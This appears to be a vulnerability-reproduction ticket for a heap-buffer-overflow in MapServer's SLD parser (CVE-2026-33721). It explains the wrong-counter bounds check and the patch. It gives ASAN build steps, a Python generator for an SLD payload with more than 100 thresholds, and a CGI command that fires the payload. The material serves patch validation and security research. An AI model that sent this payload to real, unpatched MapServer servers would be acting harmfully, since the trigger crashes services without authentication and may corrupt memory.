## Ticket: CVE-2026-33721 — MapServer SLD parser heap-buffer-overflow (Categorize threshold count)

**CVE**: CVE-2026-33721 | **GHSA**: GHSA-cv4m-mr84-fgjp | **CWE-787** (Out-of-bounds Write) | **CVSS 3.1**: 7.5 (NIST, High)
**Vendor / Product**: OSGeo — MapServer (CGI OGC WMS/WFS/WCS server)
**Repository**: https://github.com/MapServer/MapServer
**Affected**: `4.2.0` — `8.6.0` | **Fixed**: `8.6.1`
**Advisory**: https://github.com/MapServer/MapServer/security/advisories/GHSA-cv4m-mr84-fgjp
**NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-33721
**Cited on**: https://red.anthropic.com/2026/cvd/

### Impact

MapServer is a CGI binary that parses OGC SLD (Styled Layer Descriptor) XML to style raster/vector layers it serves over WMS/WFS. `msSLDParseRasterSymbolizer` in `src/mapogcsld.cpp` (around line 2894) allocates a fixed-size buffer for **100** threshold pointers for a `<se:Categorize>` element. The reallocation guard checks the **wrong variable** — `nValues == nMaxThreshold` instead of `nThresholds == nMaxThreshold`. Because `nValues` increments at a different rate than `nThresholds`, reallocation never fires when the SLD contains more than 100 `<se:Threshold>` children, and the subsequent pointer writes spill past the 100-slot array.

The bug is reachable **unauthenticated** on any MapServer instance that accepts an SLD body in its WMS request (`SLD_BODY` parameter is the standard OGC angle; `SLD` URL-by-reference also reaches the same parser). Practical impact is at minimum a worker-process crash (CVSS `A:H` per NIST); depending on heap state, the spilled pointers may be controllable enough for a stronger consequence — that's outside the scope this ticket asks for, but it does NOT cap at "ASAN goes brr". The reproduction MUST hit the real `mapserv` CGI entry, not a unit-test harness.

### Affected / Fixed

| | Version |
|--|--|
| **Vulnerable** | `4.2.0` — `8.6.0` (last vulnerable tag: `rel-8-6-0`) |
| **Fixed** | `8.6.1` (tag `rel-8-6-1`) |

### Where the patch lives

```
git clone https://github.com/MapServer/MapServer external/mapserver
cd external/mapserver
git log --oneline rel-8-6-0..rel-8-6-1 -- src/mapogcsld.cpp
```

The fix swaps the boundary check from `if (nValues == nMaxThreshold)` to `if (nThresholds == nMaxThreshold)` in `msSLDParseRasterSymbolizer`, so the array growth uses the same counter that tracks the actual entry count.

### Reproduction plan

This is a CGI binary processing an attacker-supplied XML body. The reproduction must show the bug fire through the real CGI path, not a synthetic call.

1. Build vulnerable MapServer (`rel-8-6-0`) with ASAN. Strip optional features (PHP/Python/Perl/FCGI/Cairo/Harfbuzz/Fribidi) to keep the build small:
   ```
   git clone https://github.com/MapServer/MapServer external/mapserver-vuln && cd external/mapserver-vuln
   git checkout rel-8-6-0
   cmake -B build \
     -DCMAKE_BUILD_TYPE=Debug \
     -DCMAKE_C_FLAGS='-fsanitize=address -g -O1 -fno-omit-frame-pointer' \
     -DCMAKE_CXX_FLAGS='-fsanitize=address -g -O1 -fno-omit-frame-pointer' \
     -DWITH_PYTHON=OFF -DWITH_PHP=OFF -DWITH_PERL=OFF -DWITH_FCGI=OFF \
     -DWITH_PROTOBUFC=OFF -DWITH_HARFBUZZ=OFF -DWITH_FRIBIDI=OFF -DWITH_CAIRO=OFF
   cmake --build build -j
   ```
   Repeat at `rel-8-6-1` into `external/mapserver-fixed`. Both binaries land at `build/mapserv`.

2. Lay down a minimal `.map` file and a tiny raster:
   ```
   # test.map
   MAP
     NAME "repro"
     EXTENT 0 0 100 100
     SIZE 256 256
     IMAGETYPE PNG
     IMAGECOLOR 255 255 255
     LAYER
       NAME "r"
       TYPE RASTER
       DATA "tiny.tif"
       STATUS ON
     END
   END
   ```
   Use a tiny GeoTIFF (`gdal_translate` from any source, or pull from the MapServer test suite under `msautotest/`).

3. Build the SLD payload with > 100 thresholds. Python generator:
   ```python
   # gen_sld.py
   n = 200  # > 100 to trip the bug
   thresholds = "\n".join(f"<se:Threshold>{i}</se:Threshold>" for i in range(n))
   sld = f"""<?xml version="1.0"?>
   <StyledLayerDescriptor version="1.1.0" xmlns="http://www.opengis.net/sld"
       xmlns:se="http://www.opengis.net/se">
     <NamedLayer><se:Name>r</se:Name>
       <UserStyle><se:FeatureTypeStyle><se:Rule>
         <se:RasterSymbolizer>
           <se:ColorMap><se:Categorize fallbackValue="#000000">
             <se:LookupValue>Rasterdata</se:LookupValue>
             <se:Value>#000000</se:Value>
             {thresholds}
           </se:Categorize></se:ColorMap>
         </se:RasterSymbolizer>
       </se:Rule></se:FeatureTypeStyle></UserStyle>
     </NamedLayer>
   </StyledLayerDescriptor>"""
   open("payload.sld", "w").write(sld)
   ```

4. Fire the request through the CGI entry. URL-encode the payload and stuff it into `QUERY_STRING`:
   ```
   SLD_BODY=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(open('payload.sld').read()))")
   ASAN_OPTIONS="log_path=/tmp/asan_mapserv:detect_leaks=0" \
   QUERY_STRING="MAP=test.map&SERVICE=WMS&REQUEST=GetMap&VERSION=1.1.1&LAYERS=r&STYLES=&SRS=EPSG:4326&BBOX=0,0,100,100&WIDTH=256&HEIGHT=256&FORMAT=image/png&SLD_BODY=${SLD_BODY}" \
   REQUEST_METHOD=GET \
   ./build/mapserv
   ```
   - **Vulnerable build (`rel-8-6-0`)**: AddressSanitizer reports a `heap-buffer-overflow WRITE` inside `msSLDParseRasterSymbolizer` (frame should show the `<Threshold>` parsing loop). Worker exits non-zero.
   - **Fixed build (`rel-8-6-1`)**: mapserv returns a normal OGC response (or an OGC `<ServiceException>` with no ASAN report).

5. The vulnerable invocation MUST trip through the SLD parser via the QUERY_STRING entry point, not a unit-test driver. Capture the ASAN log path that the `log_path` option writes.

### Expected reproduction artifacts

- `repro/reproduction_steps.sh` — clones MapServer at both refs, builds with ASAN, generates `test.map` + tiny.tif + `payload.sld`, fires both binaries via QUERY_STRING, captures ASAN log + responses.
- `repro/payload.sld` — the > 100-threshold SLD payload.
- `repro/test.map` — the minimal mapfile.
- `repro/validation_verdict.json` — `confirmed` only if (a) the vulnerable mapserv emits a heap-buffer-overflow WRITE inside `msSLDParseRasterSymbolizer` on the trigger, AND (b) the fixed mapserv returns a normal response on the same trigger with no ASAN report.
- `logs/vulnerable_asan.txt` — ASAN report from the vulnerable run.
- `logs/fixed_response.txt` — HTTP / PNG / OGC-error response from the fixed run.
- `repro/rca_report.md` — RCA explaining the `nValues` vs `nThresholds` counter mismatch and how the patch corrects the bound check.
